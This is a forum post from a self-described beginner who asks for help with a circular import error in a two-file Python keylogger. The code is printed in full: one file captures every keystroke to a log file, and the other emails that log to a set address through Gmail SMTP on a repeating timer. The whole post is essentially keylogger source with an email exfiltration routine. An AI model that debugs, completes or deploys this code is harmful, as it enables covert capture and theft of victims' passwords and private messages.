I was making some keylogging code for my first security project.
I have 2 python code file named as mainKeylogger.py(capture key log)and mailFunc.py(send mail with keylogging file automatically) under the same directory. When I executed mailFunc.py, there was an error that..
AttributeError: partially initialized module 'mainKeylogger' has no attribute 'keylogFileName' (most likely due to a circular import)
Do you know why error occurs and how to fix it? I searched information about "circular import", Maybe it's because I'm not good enough yet about programming, so I didn't understand well.
I need your help.
All the 2 codes I wrote are below.
mainKeylogger.py
from pynput.keyboard import Key, Listener
import logging
import logging.handlers
import os
import time
import datetime
import mailFunc
import threading
if os.path.isdir('C:\\Keylogging') == False:
os.mkdir('C:\\Keylogging')
log_dir = ''
now = datetime.datetime.now()
currentTime = now.strftime('%Y-%m-%d_%H-%M-%S')
logging.basicConfig(filename=(log_dir + "C:\\Keylogging\\"+ currentTime +"Key.txt"),
level=logging.DEBUG, format='["%(asctime)s". %(message)s]')
keylogFileName = "C:\\Keylogging\\Key_" + currentTime + ".txt"
def on_press(key):
logging.info('"{0}"'.format(key))
with Listener(on_press = on_press) as listener:
listener.join()
mailFunc.autoEmailSend(keylogFileName)
mailFunc.py
import smtplib
from email.mime.text import MIMEText
from email.mime.multipart import MIMEMultipart
from email.mime.base import MIMEBase
from email import encoders
import os
import time
import schedule
import threading
import mainKeylogger
def autoEmailSend(filenametosend):
#erased because it is my private information
email_user = '(erase)'
email_password = '(erase)'
email_send = '(erase)'
subject = 'Keylogging Automatic Report'
msg = MIMEMultipart()
msg['From'] = email_user
msg['To'] = email_send
msg['Subject'] = subject
body = 'Keylogging Report at ' + time.strftime('%c', time.localtime(time.time()))
msg.attach(MIMEText(body,'plain'))
filename = filenametosend
attachment = open(filename,'rb')
part = MIMEBase('application','octet-stream')
part.set_payload((attachment).read())
encoders.encode_base64(part)
part.add_header('Content-Disposition',"attachment", filename= os.path.basename(filename))
msg.attach(part)
text = msg.as_string()
server = smtplib.SMTP('smtp.gmail.com',587)
server.starttls()
server.login(email_user,email_password)
server.sendmail(email_user,email_send,text)
server.quit()
print("Mail Sended at " + time.strftime('%c', time.localtime(time.time())))
threading.Timer(30.0, autoEmailSend).start()
autoEmailSend(mainKeylogger.keylogFileName)
I don't have much experience in this field yet and I'm learning English, so I might not be able to explain the problem well (as English). I ask for your understanding.
